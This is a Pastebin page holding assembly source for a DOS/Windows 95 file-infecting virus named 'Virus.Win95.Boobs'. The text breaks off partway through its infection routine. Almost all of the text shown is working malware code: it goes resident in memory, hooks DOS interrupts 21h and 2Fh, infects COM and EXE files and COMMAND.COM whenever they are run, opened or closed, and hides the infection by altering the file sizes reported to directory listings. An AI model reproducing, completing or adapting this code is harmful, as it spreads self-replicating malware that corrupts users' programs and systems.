FlyFar

Virus.Win95.Boobs - Source Code

Jul 6th, 2023
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 30.56 KB | Cybersecurity | 0 0
  1.  
  2.  
  3. .386
  4.  
  5. CSeg SEGMENT USE16
  6.  
  7. ASSUME cs:CSeg
  8.  
  9. FileHeaderRecord struc
  10.           signature  dw ?
  11.           sizemod    dw ?
  12.           msize      dw ?
  13.           relocat    dw ?
  14.           headsize   dw ?
  15.           minalloc   dw ?
  16.           maxalloc   dw ?
  17.           stackseg   dw ?
  18.           stackofs   dw ?
  19.           check      dw ?
  20.           ip         dw ?
  21.           codes      dw ?
  22.           Checksum   dw ?
  23.           checkOvr   dw ?
  24.  
  25. FileHeaderRecord ends
  26.  
  27. SearchRecord  struc
  28.            date    dw ?
  29.            time    dw ?
  30. SearchRecord  ends
  31.  
  32. ExecBlockRecord struc
  33.          Env dw ?
  34.          Cmd dd ?
  35. ExecBlockRecord ends
  36.  
  37. Findrecord struc
  38.         FindBuf db 128 dup (?)
  39.         Findofs dw ?
  40. Findrecord ends
  41.  
  42. VIR_PAR = ((END_TSR - START_TSR ) / 16) + 2
  43. VIR_LEN = (REAL_CODE - START_TSR) + 1        ; dim virus in memoria
  44. VIR_TRUE_LEN = ( REAL_CODE - START_TSR ) + 1 ; dimensione del virus su file
  45.  
  46.  
  47. already  =  0 ; already infected
  48. ready    =  1 ; ready to be infected
  49. com      =  2 ; com file
  50. exe      =  3 ; exe file
  51. other    =  4 ; other
  52.  
  53. true     =  1
  54. false    =  0
  55.  
  56. maxfiles = 26         ; max file no to open , must be (maxfiles*2)/4 integer
  57.  
  58. START_TSR     equ $
  59.  
  60. AfterCryp :  call SH
  61. SH        :  pop bp
  62.          sub bp,3
  63.  
  64.          push ds
  65.          pop  es
  66.  
  67.          mov ax,0fe01h
  68.          int 2fh
  69.  
  70.          cmp al,0ffh
  71.          jne short  Novirus
  72.  
  73. YesVirus :   db 0e9h
  74.          jmp_addr dw ?
  75.  
  76.          mov ax,ds                                 ; ES = DS = PSP = AX
  77.          add ax,10h                                ; PSP +  1 paragraph
  78.          mov bx,cs:[bp][templateheader.stackseg]
  79.          add bx,ax
  80.          cli
  81.          mov ss,bx
  82.          mov sp,cs:[bp][templateheader.stackofs]
  83.          sti
  84.  
  85.          mov bx,cs:[bp][templateheader.codes]
  86.          add bx,ax
  87.  
  88.          push bx                                   ; push CS
  89.          push cs:[bp][templateheader.ip]           ; push IP
  90.  
  91. @jump  :     xor eax,eax
  92.          xor ebx,ebx
  93.          xor ecx,ecx
  94.          xor edx,edx
  95.          xor esi,esi
  96.          xor edi,edi
  97.          xor ebp,ebp
  98.  
  99.          retf                                      ; jmp to host CS:IP
  100.  
  101. com_exec :   push cs                                   ; COM settings
  102.          mov si,bp
  103.          add si,offset @com_buf
  104.          mov di,100h
  105.          push di
  106.          cld
  107.          movsd
  108.          jmp short @jump
  109.  
  110.  
  111. NoVirus  :   mov es,word ptr ds:[2ch]                  ; enviroment segment
  112.          mov word ptr cs:[bp][tmp_COMseg],es
  113.  
  114.          push ds
  115.  
  116.          mov ax,ds                                    ; DS = PSP
  117.          dec ax                                       ; AX = MCB
  118.          mov ds,ax
  119.  
  120.          mov  bl,02h                 ; last fit
  121.          mov  ax,5801h
  122.          int  21h                    ; set
  123.  
  124.          mov  bx,VIR_PAR             ; malloc
  125.          mov  ah,48h
  126.          int  21h
  127.          jnc  short malloc           ; problems ?
  128.  
  129.          push ax dx
  130.          mov ah,2
  131.          mov dl,7
  132.          int 21h
  133.          pop dx ax
  134.  
  135.          push ds
  136.          pop  ax
  137.  
  138.          mov bx,4d03h
  139.          mov ds:[0],bh                                         ;'M'
  140.          xor bh,bh
  141.          sub word ptr ds:[bx],VIR_PAR
  142.          inc ax
  143.          add ax,ds:[bx]
  144.          mov ds,ax
  145.          mov word ptr ds:[bx],VIR_PAR-1
  146.          mov bl,'Z'
  147.              mov ds:[0],bl                                   ; Z in last MCB
  148.  
  149.          inc ax
  150.  
  151. malloc :     mov  es,ax
  152.  
  153.          dec ax
  154.          push ax
  155.          pop  ds
  156.  
  157.          mov  bx,8
  158.          mov  ds:[1],bx                               ; owned by dos 0008
  159.          mov  word ptr ds:[bx],'CS'
  160.  
  161.          xor bl,bl                                    ; restore strategy
  162.          mov  ax,5801h
  163.          int  21h
  164.  
  165.          cld
  166.          xor di,di
  167.          mov si,bp
  168.          push cs
  169.          pop  ds
  170.          mov cx,(VIR_LEN / 4) + 1
  171. rep          movsd
  172.  
  173.          call clean_x_stack
  174.  
  175.          cli
  176.  
  177.          xor ax,ax
  178.          mov ds,ax
  179.  
  180.          mov eax,es
  181.          shl eax,16
  182.          mov ax,offset HOOK_21
  183.          xchg ds:[84h],eax
  184.          mov es:TRAPPED_21,eax
  185.  
  186.          mov eax,es
  187.          shl eax,16
  188.          mov ax,offset HOOK_2F
  189.          xchg ds:[0bch],eax
  190.          mov es:TRAPPED_2F,eax
  191.  
  192.          pop ds                                ; DS = PSP
  193.  
  194.          mov es:sleep,FALSE
  195.          mov es:command_Flag,TRUE
  196.          mov ax,cs:[bp][tmp_COMseg]
  197.          mov es:COMseg,ax
  198.  
  199.          push ds
  200.          pop  es
  201.  
  202.          sti
  203.  
  204.          jmp yesvirus
  205.  
  206.          tmp_COMseg dw ?
  207.  
  208. HOOK_2F  :   cmp ah,0feh
  209.          jne short  ChkintWin
  210.          mov al,0ffh
  211.          iret
  212.  
  213. ;///// Chkintwin and ChkEndwin disable the virus during installation check in
  214. ;      win311 and under Msdos prompt in w95 /////
  215.  
  216. ;      Under Msdos prompt only some int21h trap worked :(( i.e 4b
  217. ;      but 3dh,3eh and some other as all long filenames functions didn't work
  218. ;      i dunno the reason since i hadn't have much time for solving the question
  219. ;      if someone can explain it let me know pleaze :)
  220.  
  221. ChkintWin :  cmp ax,1605h
  222.          jne short chkendwin
  223.          mov cs:sleep,TRUE
  224.          jmp short pass2f
  225.  
  226. ChkEndWin :  cmp ax,1606h
  227.          jne short pass2f
  228.          mov cs:sleep,FALSE
  229.  
  230. pass2f    :  db 0eah
  231.          TRAPPED_2F dd ?
  232.  
  233. HOOK_21 :    cmp cs:command_flag,TRUE
  234.          jne short Check_int
  235.          call @COMM_COM
  236.  
  237. Check_int :  cmp cs:sleep,TRUE
  238.          je short org_21
  239.  
  240.          cmp ax,cs:[intr_sub_w]                                   ;4b00h
  241.          je @EXEC00
  242.          cmp ax,cs:[intr_sub_w+2]                                 ;4b01h
  243.          je @LD&EX
  244.  
  245.          cmp ah,cs:[intr_sub_b]                                   ;1ah
  246.          je @SAVEDTA
  247.          cmp ah,cs:[intr_sub_b+1]                                 ;4eh
  248.          je @FINDFIRST
  249.          cmp ah,cs:[intr_sub_b+2]                                 ;4fh
  250.          je @FINDNEXT
  251.  
  252.          cmp ah,cs:[intr_sub_b+3]                                 ;3dh
  253.          je @OPEN
  254.          cmp ah,cs:[intr_sub_b+4]                                 ;3eh
  255.          je @CLOSE
  256.  
  257.          cmp ax,cs:[intr_sub_w+4]                                 ;6c00h
  258.          je @EXTOPEN
  259.  
  260.          cmp ah,cs:[intr_sub_b+5]                                 ;11h
  261.          je @FCB_FIND
  262.          cmp ah,cs:[intr_sub_b+6]                                 ;12h
  263.          je @FCB_FIND
  264.  
  265.  
  266. org_21    :  db 0eah
  267.          TRAPPED_21 dd ?
  268.  
  269. @COMM_COM :  pushad
  270.          push ds es
  271.  
  272.          cld
  273.          mov ax,cs:COMseg
  274.          mov es,ax
  275.          xor di,di
  276.          mov cx,256
  277.  
  278. @pre_loop :  mov eax,'SMOC'
  279. @loop_a   :  scasd
  280.          jz short @nxt_ck
  281.          sub di,3
  282.          loop @loop_a
  283.  
  284.          jmp @fail
  285.  
  286. @nxt_ck :    mov eax,'=CEP'
  287.          scasd
  288.          jz short @it_is
  289.          sub di,3
  290.          jmp short @pre_loop
  291.  
  292. @it_is :     push es
  293.          pop  ds
  294.          mov  si,di
  295.          push cs
  296.          pop  es
  297.          mov  di,offset Data_Buffer
  298.  
  299.          mov cx,256
  300.  
  301. @loop_b  :   lodsb
  302.          or al,al
  303.          jz short @copy_end
  304.          stosb
  305.          loop @loop_b
  306. @copy_end :  stosb
  307.  
  308.          push cs
  309.          pop  ds
  310.              mov  dx,offset Data_Buffer               ; DS:DX command.com path
  311.          mov  bx,dx
  312.  
  313.          call GetFattrib                          ; CX attributo
  314.          jc short @fail
  315.  
  316.          push cx dx ds
  317.  
  318.          call openfile                            ; BX handle
  319.  
  320.          call FileInfect
  321.  
  322.          call closefile
  323.  
  324.          pop ds dx cx
  325.  
  326.          call SetFattrib
  327.  
  328. @fail :      pop  es ds
  329.          popad
  330.  
  331.          mov cs:command_flag,FALSE
  332.  
  333.          ret
  334.  
  335. @EXEC00   :  call CheckIfExe
  336.          jnz org_21
  337.  
  338.          pushad
  339.          push es ds                                 ; DS:DX ASCIZ filename
  340.  
  341.          call vir_handler
  342.  
  343.          call getFattrib
  344.          jc short @no_inf                           ; CX attributo
  345.  
  346.          push cx ds dx
  347.  
  348.          call openfile
  349.  
  350.          call FileInfect
  351.  
  352.          call closefile
  353.  
  354.          pop dx ds cx
  355.  
  356.          call SetFattrib
  357.  
  358. @no_inf  :   call dos_handler
  359.  
  360.          pop  ds es
  361.          popad
  362.  
  363.          call int21h
  364.  
  365.          jmp Intret
  366.  
  367.  
  368. @LD&EX   :   push es ds
  369.          pushad
  370.  
  371.          call vir_handler
  372.  
  373.          call GetFattrib
  374.          jc short  ex_ld                          ; CX attributo
  375.  
  376.          push cx dx ds
  377.  
  378.          call OpenFile
  379.          jc short ex_ld
  380.  
  381.          call FileClean
  382.  
  383.          call closefile
  384.  
  385.          pop ds dx cx
  386.  
  387.          call SetFattrib
  388.  
  389. ex_ld  :     call dos_handler
  390.  
  391.          popad
  392.          pop ds es
  393.  
  394.          push ds dx
  395.          call int21h
  396.          pop  dx ds
  397.  
  398.          pushf
  399.          push es ds
  400.          pushad
  401.  
  402.          call vir_handler
  403.  
  404.          call GetFattrib
  405.          jc short  not_ld                             ; CX attrib
  406.  
  407.          push cx ds dx
  408.  
  409.          call OpenFile
  410.  
  411.          call FileInfect
  412.  
  413.          call closefile
  414.  
  415.          pop dx ds cx
  416.  
  417.          call SetFattrib
  418.  
  419. not_ld :     call dos_handler
  420.  
  421.          popad
  422.          pop ds es
  423.          popf
  424.          jmp Intret
  425.  
  426.  
  427. @OPEN    :   call CheckIfExe
  428.          jnz org_21
  429.  
  430.          push es ds
  431.          pushad
  432.  
  433.          call vir_handler
  434.  
  435.          call GetFattrib
  436.          jc short  Skip_file                           ; CX attrib
  437.  
  438.          push cx ds dx
  439.  
  440.          call OpenFile
  441.  
  442.          call FileClean
  443.  
  444.          call CloseFile
  445.  
  446.          pop dx ds cx
  447.  
  448.          call SetFattrib
  449.  
  450.          call dos_handler
  451.  
  452.          popad
  453.          pop ds es
  454.  
  455.          push ds dx
  456.          call int21h
  457.          pop  dx ds
  458.          jc short @no_open
  459.  
  460.          xchg ax,bx
  461.          call PushHandle
  462.          xchg bx,ax
  463.          jmp Intret
  464.  
  465. @no_open   : pushf
  466.          cmp al,5
  467.          jne short @no_mat
  468.  
  469.          push es ds
  470.          pushad
  471.  
  472.          call vir_handler
  473.  
  474.          call GetFattrib
  475.          jc short @a
  476.  
  477.          push cx ds dx
  478.  
  479.          call OpenFile
  480.  
  481.          call FileInfect
  482.  
  483.          call CloseFile
  484.  
  485.          pop dx ds cx
  486.  
  487.          call SetFattrib
  488.  
  489.          call dos_handler
  490.  
  491. @a      :    popad
  492.          pop ds es
  493.  
  494. @no_mat    : popf
  495.          jmp Intret
  496.  
  497. Skip_file  : popad
  498.          pop ds es
  499.  
  500.          call dos_handler
  501.  
  502.          jmp org_21
  503.  
  504. @EXTOPEN   : xchg si,dx
  505.          call CheckIfExe
  506.          xchg dx,si
  507.          jnz org_21
  508.  
  509.          push es ds
  510.          pushad
  511.  
  512.          call vir_handler
  513.  
  514.          mov dx,si
  515.  
  516.          call GetFattrib
  517.          jc short @aa
  518.  
  519.          push cx ds dx
  520.  
  521.          call OpenFile
  522.  
  523.          call FileClean
  524.  
  525.          call closefile
  526.  
  527.          pop  dx ds cx
  528.  
  529.          call SetFattrib
  530.  
  531. @aa   :      call dos_handler
  532.  
  533.          popad
  534.          pop ds es
  535.  
  536.          push ds si
  537.          call int21h
  538.          pop  dx ds
  539.          jc @no_open
  540.  
  541.          xchg ax,bx
  542.          call PushHandle                                    ; save handle
  543.          xchg bx,ax
  544.  
  545.          jmp Intret
  546.  
  547.  
  548. ; // SFT and JFT didn't work in Msdos Prompt :(( //
  549.  
  550. @CLOSE     : call Pophandle
  551.          jc org_21
  552.  
  553.          call vir_handler
  554.  
  555.          pushad
  556.          push ds es
  557.  
  558.          push bx
  559.  
  560.          mov ax,1220h                                ; BX handle
  561.          call int2fh                                 ; ES:DI JFT
  562.  
  563.          xor bx,bx
  564.          mov bl,byte ptr es:[di]
  565.          mov ax,1216h                                ; bx entry number for
  566.          call int2fh                                 ; ES:DI SFT
  567.  
  568.          mov byte ptr es:[di+2],2
  569.  
  570.          pop  bx
  571.  
  572.          call FileInfect
  573.  
  574.          pop es ds
  575.          popad
  576.  
  577.          call int21h                                  ; exec int
  578.  
  579.          call dos_handler
  580.  
  581.          clc
  582.          jmp Intret
  583.  
  584.  
  585. @FINDFIRST : push ax cx si di es                         ; DS:DX find filename
  586.          pushf
  587.  
  588.          mov si,dx
  589.  
  590.          push cs
  591.          pop  es
  592.          mov  di,offset findvar
  593.  
  594.          cld
  595.          push di
  596.          xor ax,ax
  597.          mov cx,(size Findvar - 2) / 2
  598.          rep stosw                                  ; reset Findvar
  599.          pop di
  600.  
  601.          mov ah,60h                                 ; DS:SI filename
  602.          call Int21h                                ; ES:DI canonaized
  603.  
  604.          mov di,offset findvar + size findvar - 2
  605.          mov cx,size findvar - 2 - 1
  606.  
  607.          std
  608.          mov al,''
  609. repnz        scasb
  610.          jz short o
  611.          sub di,3
  612. o :          add di,2
  613.          mov cs:Findvar.Findofs,di
  614.          popf
  615.          pop  es di si cx ax
  616.  
  617. @FINDNEXT :  call int21h
  618.          jc Intret
  619.  
  620. FindProc :   pushad
  621.          push ds es
  622.          pushf
  623.  
  624.          mov ds,cs:DTAseg
  625.          mov si,cs:DTAofs
  626.          add si,1eh                                  ; DS:SI punta al
  627.                              ; filename nella DTA
  628.          push cs
  629.          pop  es
  630.  
  631.          mov  di,cs:findvar.findofs                  ; ES:DI path filename
  632.          cld
  633.  
  634. CopyName:    movsb
  635.          cmp byte ptr ds:[si],0
  636.          jne short  CopyNAme
  637.          mov byte ptr es:[di],0
  638.  
  639. ;  Findvar now has the ASCIZ filename to pass to Openfile
  640.  
  641.          push cs
  642.          pop  ds
  643.          mov  dx,offset Findvar
  644.  
  645.          call CheckIfExe
  646.          jnz short  DonotTreat
  647.  
  648.          call OpenFile
  649.          jc short  DoNotTreat
  650.  
  651.          call CheckXinf
  652.  
  653.          cmp file_type,other
  654.          je short CanClose
  655.  
  656.          cmp file_status,already
  657.          jne short  CanClose
  658.  
  659.          mov es,DTAseg
  660.          mov di,DTAofs
  661.  
  662.          sub dword ptr es:[di+1ah],vir_true_len - 1
  663.  
  664. CanClose :   call CloseFile
  665.  
  666. DoNotTreat:  popf
  667.          pop  es ds
  668.          popad
  669.          jmp Intret
  670.  
  671.  
  672. @SAVEDTA :   mov  cs:DTAofs,dx
  673.          mov  cs:DTAseg,ds
  674.          jmp org_21
  675.  
  676.  
  677. @FCB_FIND :  call int21h
  678.  
  679.          pushf
  680.          push es ax bx
  681.  
  682.          les bx,dword ptr cs:DTAofs
  683.  
  684.          mov al,byte ptr es:[bx]
  685.          cmp al,0ffh                             ; vede se FCB esteso
  686.          jne short @ok_good
  687.          add bx,7
  688.  
  689. @ok_good :   pusha
  690.          push ds es
  691.  
  692.          mov ah,47h                              ; get cur dir
  693.          mov dl,byte ptr es:[bx]                 ; drive number
  694.          push cs
  695.          pop  ds
  696.          mov si,offset FindVar
  697.          call int21h                             ; return ASCIZ directory
  698.  
  699.          push cs
  700.          pop  es
  701.          cld
  702.  
  703.          cmp byte ptr ds:[si],0                  ; root ?
  704.          jne short @path
  705.          mov ax,offset FindVar
  706.          add ax,3
  707.          mov cs:FindVar.FindOfs,ax
  708.          jmp short @root
  709.  
  710. @path  :     mov di,offset FindVar
  711.          xor al,al
  712. @@f    :     scasb                          ; look for the end of the dirname
  713.          jnz short @@f
  714.  
  715.          mov si,di
  716.          dec si
  717.          mov byte ptr es:[si],''
  718.          add di,3
  719.  
  720.          mov es:FindVar.FindOfs,di
  721.          dec di
  722.          std
  723. @cp :        movsb
  724.          cmp si,offset FindVar
  725.          jae short @cp
  726.  
  727. @root :      mov word ptr es:[offset FindVar+1],':'
  728.          add dl,'A' - 1
  729.          mov byte ptr es:[offset FindVar],dl           ; drive letter
  730.  
  731.          pop es ds
  732.          popa
  733.  
  734.          pusha
  735.          push ds es                              ; ES:BX DTA
  736.  
  737.          push es
  738.          pop  ds                                 ; DS = ES
  739.          mov  si,1
  740.          add  si,bx                              ; file name ds:si
  741.  
  742.          push cs
  743.          pop  es
  744.          mov  di,cs:FindVar.FindOfs
  745.  
  746.          mov cx,8
  747.          cld
  748.  
  749. @lp1 :       lodsb
  750.          cmp al,20h
  751.          je short @end_1
  752.          stosb
  753.          loop @lp1
  754.  
  755. @end_1 :     mov al,'.'
  756.          stosb
  757.  
  758.          mov cx,3
  759.          mov si,9
  760.          add si,bx
  761.          rep movsb
  762.  
  763.          xor al,al
  764.          stosb                                       ; Z terminated
  765.  
  766.          push cs
  767.          pop  ds
  768.          mov  dx, offset FindVar                      ; ASCIZ filename
  769.  
  770.          mov bp,bx
  771.  
  772.          call CheckIfExe
  773.          jnz short  @not_op
  774.  
  775.          call OpenFile
  776.          jc short  @not_op
  777.  
  778.          call CheckXinf
  779.  
  780.          cmp file_type,other
  781.          je short @CanClose
  782.  
  783.          cmp file_status,already
  784.          jne short @CanClose
  785.  
  786.          mov es,cs:DTAseg
  787.          sub dword ptr es:[bp+1dh],VIR_TRUE_LEN - 1       ; real size
  788.  
  789. @CanClose :  call CloseFile
  790.  
  791. @not_op  :   pop es ds
  792.          popa
  793.  
  794.  
  795. @NotInf   :  pop  bx ax es
  796.          popf
  797.  
  798. Intret       proc
  799.          cli
  800.          push ax
  801.          pushf
  802.          pop ax
  803.          add sp,8
  804.          push ax
  805.          sub sp,6
  806.          pop ax
  807.          sti
  808.          iret
  809. Intret       endp
  810.  
  811.  
  812. int21h       proc
  813.  
  814.          pushf
  815.          call dword ptr cs:TRAPPED_21
  816.          ret
  817.  
  818. int21h       endp
  819.  
  820. int2fh       proc
  821.  
  822.          pushf
  823.          call dword ptr cs:TRAPPED_2F
  824.          ret
  825.  
  826. int2fh       endp
  827.  
  828. vir_handler  proc
  829.  
  830.          cli
  831.          push eax ds
  832.          xor ax,ax
  833.          mov ds,ax
  834.          mov eax,cs
  835.          shl eax,16
  836.          mov ax,offset critical
  837.          xchg ds:[90h],eax
  838.          mov cs:TRAPPED_24,eax
  839.          pop ds eax
  840.          sti
  841.          ret
  842.  
  843. vir_handler  endp
  844.  
  845. dos_handler  proc
  846.  
  847.          push ds ax
  848.          cli
  849.          xor ax,ax
  850.          mov ds,ax
  851.  
  852.          db 66h
  853.          dw 06c7h
  854.          dw 0090h
  855.          TRAPPED_24 dd ?                      ; mov ds:[90h],cs:TRAPPED_24
  856.  
  857.          pop ax ds
  858.          sti
  859.          ret
  860.  
  861. dos_handler  endp
  862.  
  863.  
  864. critical     proc
  865.          xor al,al
  866.          iret
  867. critical     endp
  868.  
  869.  
  870. openfile     proc
  871.  
  872.          mov ah,3dh
  873.          xor al,al
  874.          add al,2
  875.        ;  mov  ax,3d02h
  876.          call int21h
  877.          mov bx,ax
  878.          ret                                             ; out : BX handle
  879.  
  880. openFile     endp
  881.  
  882. closeFile    proc
  883.  
  884.          mov ah,3eh                                      ; in  : BX handle
  885.          call int21h
  886.          ret
  887.  
  888. closefile    endp
  889.  
  890. GetFAttrib   proc
  891.  
  892.          push ax
  893.          mov ah,43h
  894.          xor al,al
  895.       ;   mov ax,4300h
  896.          push ax
  897.          call int21h                              ; CX attributo
  898.          pop ax
  899.          inc al
  900.          push cx
  901.         ; mov ax,4301h
  902.          push ax
  903.          call int21h
  904.          pop ax
  905.          jc short out_f
  906.        ;  mov ax,4301h
  907.          mov cx,32
  908.          call int21h
  909. out_f   :    pop cx
  910.          pop ax                                   ; ritorna CX attributo
  911.          ret                                      ; ritona carry se errore
  912.  
  913. SetFattrib   proc
  914.          push ax                                  ; in CX attributo
  915.          mov ah,43h
  916.          xor al,al
  917.          inc al
  918.        ;  mov ax,4301h
  919.          call int21h
  920.          pop  ax
  921.          ret
  922. SetFattrib   endp
  923.  
  924. GetFAttrib   endp
  925.  
  926. FileEnd      proc
  927.          mov ah,42h
  928.          xor al,al
  929.          add al,2
  930.       ;   mov ax,4202h
  931.          xor cx,cx
  932.          xor dx,dx
  933.          call int21h                    ; DX:AX file size
  934.          ret
  935.  
  936. FileEnd      endp
  937.  
  938. Filestart    proc
  939.  
  940.          xor cx,cx
  941.          xor dx,dx
  942.  
  943. Filestart    endp
  944.  
  945. FileSeek     proc
  946.  
  947.          mov ax,4200h
  948.          call int21h
  949.          ret
  950.  
  951. FileSeek     endp
  952.  
  953. blockread    proc
  954.  
  955.          mov  ah,3fh
  956.          call int21h
  957.          ret
  958.  
  959. blockread    endp
  960.  
  961. blockwrite   proc
  962.  
  963.          mov  ah,40h
  964.          call int21h
  965.          ret
  966.  
  967. blockwrite   endp
  968.  
  969. GetDateTime  proc
  970.  
  971.          mov ah,57h
  972.          xor al,al
  973.       ;   mov ax,5700h
  974.          call Int21h
  975.          mov cs:searchrec.date,dx
  976.          mov cs:searchrec.time,cx
  977.          ret
  978.  
  979. GetdateTime  endp
  980.  
  981. SetDateTime  proc
  982.  
  983.          mov dx,cs:searchrec.date
  984.          mov cx,cs:searchrec.time
  985.          mov ah,57h
  986.          xor al,al
  987.          inc al
  988.        ;  mov ax,5701h
  989.          call Int21h
  990.          ret
  991.  
  992. SetdateTime  endp
  993.  
  994. commit_file  proc
  995.  
  996.          mov ah,68h
  997.          call int21h                                        ; commit file
  998.          ret
  999.  
  1000. commit_file  endp
  1001.  
  1002. clean_x_stack proc
  1003.  
  1004.           mov di,offset searchstack
  1005.           mov cx, (size searchstack) / 4
  1006.           xor eax,eax
  1007. rep           stosd
  1008.           ret
  1009.  
  1010. clean_x_stack endp
  1011.  
  1012.  
  1013. CheckIfExe   proc                                 ; DS:DX filename
  1014.  
  1015.          push es di ax
  1016.  
  1017.          push ds
  1018.          pop  es
  1019.  
  1020.          cld
  1021.          mov di,dx                           ; ES:DI filename
  1022.          xor ax,ax
  1023. FindZ    :   scasb
  1024.          jnz short  FindZ
  1025.  
  1026.          cmp dword ptr [di-5],'exe.'
  1027.          je short is_exe
  1028.          cmp dword ptr [di-5],'EXE.'
  1029.          je short is_exe
  1030.          cmp dword ptr [di-5],'moc.'
  1031.          je short is_exe
  1032.          cmp dword ptr [di-5],'MOC.'
  1033.  
  1034. is_exe   :   pop ax di es
  1035.          ret
  1036.  
  1037. CheckIfExe   endp
  1038.  
  1039. PushHandle    proc
  1040.  
  1041.           pushf
  1042.           push ax cx es di
  1043.  
  1044.           push cs
  1045.           pop  es
  1046.           mov  di,offset SearchStack            ; ES:DI SearchStack
  1047.           cld
  1048.           mov cx,maxfiles
  1049.           xor ax,ax
  1050. repnz         scasw
  1051.           jnz short  Nofree
  1052.           mov word ptr es:[di-2],bx             ; sets handle
  1053.  
  1054. Nofree:       pop di es cx ax
  1055.           popf
  1056.           ret
  1057.  
  1058. PushHandle    endp
  1059.  
  1060. PopHandle     proc
  1061.  
  1062.           push ax cx es di
  1063.  
  1064.           or bx,bx
  1065.           jz short  Nofree1                              ; BX = 0 ?
  1066.  
  1067.           push cs
  1068.           pop  es
  1069.  
  1070.           cld
  1071.           mov di,offset SearchStack
  1072.           mov cx,maxfiles
  1073.           mov ax,bx
  1074. repnz         scasw
  1075.           jnz short Nofree1
  1076.           mov word ptr es:[di-2],0                 ; free handle
  1077.           clc
  1078.           jmp short  exitpop
  1079.  
  1080. Nofree1  :    stc
  1081. Exitpop  :    pop di es cx ax
  1082.           ret
  1083.  
  1084. PopHandle     endp
  1085.  
  1086.  
  1087. Calc_check   proc
  1088.  
  1089.          push si                                     ; DS = CS
  1090.  
  1091.          xor dx,dx
  1092.          mov si,size fileheader - 4
  1093. @chk   :     add dx,[si+offset fileheader]
  1094.          sub si,2
  1095.          jnz short @chk
  1096.  
  1097.          pop si                                      ; DX = checksum
  1098.          ret
  1099.  
  1100. Calc_check   endp
  1101.  
  1102. CheckXinf    proc
  1103.  
  1104.          mov file_status,already
  1105.  
  1106.          call Filestart
  1107.  
  1108.          mov cx,size Fileheader
  1109.          mov dx, offset Fileheader
  1110.          call BlockRead
  1111.  
  1112.          mov cx,cs:[MZsig]
  1113.          dec cx
  1114.          cmp fileheader.signature,cx
  1115.          je short  IsanExe
  1116.          mov cx,cs:[ZMsig]
  1117.          dec cx
  1118.          cmp fileheader.signature,cx              ; vede se e' un file EXE
  1119.          je  short IsanExe
  1120.  
  1121.          mov file_type,com
  1122.  
  1123.          call FileEnd                             ; DX:AX dim file
  1124.  
  1125.          sub ax,VIR_TRUE_LEN - 1
  1126.          add ax,NONCRYPTED - START_TSR
  1127.          sub ax,3
  1128.  
  1129.          cmp ax,word ptr fileheader.signature+1
  1130.          je GotoEnd                               ; infected
  1131.  
  1132.          jmp Except
  1133.  
  1134. IsAnExe   :  mov file_type,exe
  1135.  
  1136.          cmp fileheader.Checksum,40h
  1137.              jne short @good                        ; not a PE,NE,LE ....
  1138.          mov file_type,other
  1139.          jmp GotoEnd
  1140.  
  1141. @good  :     call calc_check
  1142.  
  1143.          cmp dx,fileheader.CheckOvr
  1144.          je GoToEnd                             ; already infected
  1145.  
  1146. Cont :       call FileEnd                           ; DX:AX dimens file
  1147.  
  1148.          shl edx,16
  1149.          mov dx,ax
  1150.  
  1151.          movzx edi,fileheader.msize
  1152.          movzx esi,fileheader.sizemod
  1153.          dec edi
  1154.          imul edi,512
  1155.          add edi,esi
  1156.  
  1157.          cmp edi,edx                             ; malloc = filesize
  1158.          je short Except
  1159.  
  1160. ;//**** SFT and JFT doesnt work in dos7 prompt from w95 :((        ****** ///
  1161. ;//**** This is used for infecting COMMAND.COM under dos7 which is not a .COM
  1162. ;//**** file but a real EXE
  1163.  
  1164. Chk_Com :    push bx es
  1165.  
  1166.          mov ax,1220h                                ; BX handle
  1167.          call int2fh                                 ; ES:DI JFT
  1168.  
  1169.          xor bx,bx
  1170.          mov bl,byte ptr es:[di]
  1171.          mov ax,1216h                                ; bx entry number for
  1172.          call int2fh                                 ; ES:DI SFT
  1173.  
  1174.          cld
  1175.          add di,20h                                  ; go to filename
  1176.  
  1177.          mov eax,'MMOC'
  1178.          scasd
  1179.          jnz short no_com_com
  1180.          mov eax,' DNA'
  1181.          scasd
  1182.          jnz short no_com_com
  1183.          mov ax,'OC'
  1184.          scasw
  1185. no_com_com : pop  es bx
  1186.          jz short except
  1187.  
  1188.          mov file_type,other
  1189.          jmp short GotoEnd
  1190.  
  1191. except :     mov file_status,ready
  1192.  
  1193. GoToEnd  :   call FileEnd
  1194.          ret
  1195.                              ; DX:AX dimensione file
  1196. CheckXinf    endp
  1197.  
  1198.  
  1199. FileInfect   proc
  1200.  
  1201.          push cs cs
  1202.          pop  ds es
  1203.  
  1204.          call CheckXInf                         ; DX:AX dimens file
  1205.  
  1206.          cmp file_type,other
  1207.          je Infectexit
  1208.  
  1209.          cmp file_status,ready
  1210.          jne infectexit
  1211.  
  1212.          cld
  1213.          mov word ptr f_size,ax                 ; salva dim per .COM
  1214.          mov si,offset fileheader
  1215.          mov di,offset @com_buf
  1216.          movsd
  1217.  
  1218.          cmp dx,0
  1219.          ja short @not_less
  1220.  
  1221.          cmp ax,23000
  1222.          ja short @not_less
  1223.  
  1224.          jmp infectexit
  1225.  
  1226. @not_less :  cmp dx,7
  1227.          ja Infectexit
  1228.  
  1229.          cld
  1230.          mov si,offset fileheader + 2
  1231.          mov di,offset templateheader + 2
  1232.          mov cx,(size fileheader) / 2  - 1
  1233. rep          movsw
  1234.  
  1235.          push ax dx
  1236.          add ax,VIR_TRUE_LEN
  1237.          adc dx,0
  1238.          mov cx,512
  1239.          div  cx
  1240.  
  1241.          inc ax                                 ; AX = quoziente  DX=resto
  1242.          mov fileheader.msize,ax                ; nuova memory size
  1243.          mov fileheader.sizemod,dx              ; nuovo memory module
  1244.          pop  dx ax
  1245.  
  1246.          add ax,NONCRYPTED - START_TSR
  1247.          adc dx,0
  1248.  
  1249.          mov cx,16
  1250.          div cx                                 ; AX:DX = CS:IP
  1251.  
  1252.          mov fileheader.ip,dx
  1253.  
  1254.          push ax
  1255.  
  1256.          xor dx,dx
  1257.          mov ax,VIR_TRUE_LEN
  1258.          add ax,cx
  1259.          add fileheader.ip,ax
  1260.          mov cx,16
  1261.          div cx
  1262.  
  1263.          sub fileheader.ip,dx
  1264.  
  1265.          mov dx,fileheader.ip
  1266.  
  1267.          dec dx
  1268.          mov first_addr,dx
  1269.          sub dx,NONCRYPTED - START_TSR
  1270.          mov cmp_addr,dx
  1271.  
  1272.          mov dx,ax
  1273.  
  1274.          pop  ax
  1275.  
  1276.          sub ax,dx
  1277.  
  1278.          sub ax,fileheader.headsize
  1279.          mov fileheader.codes,ax                    ; setta CS:IP nuovi
  1280.          mov fileheader.stackseg,ax
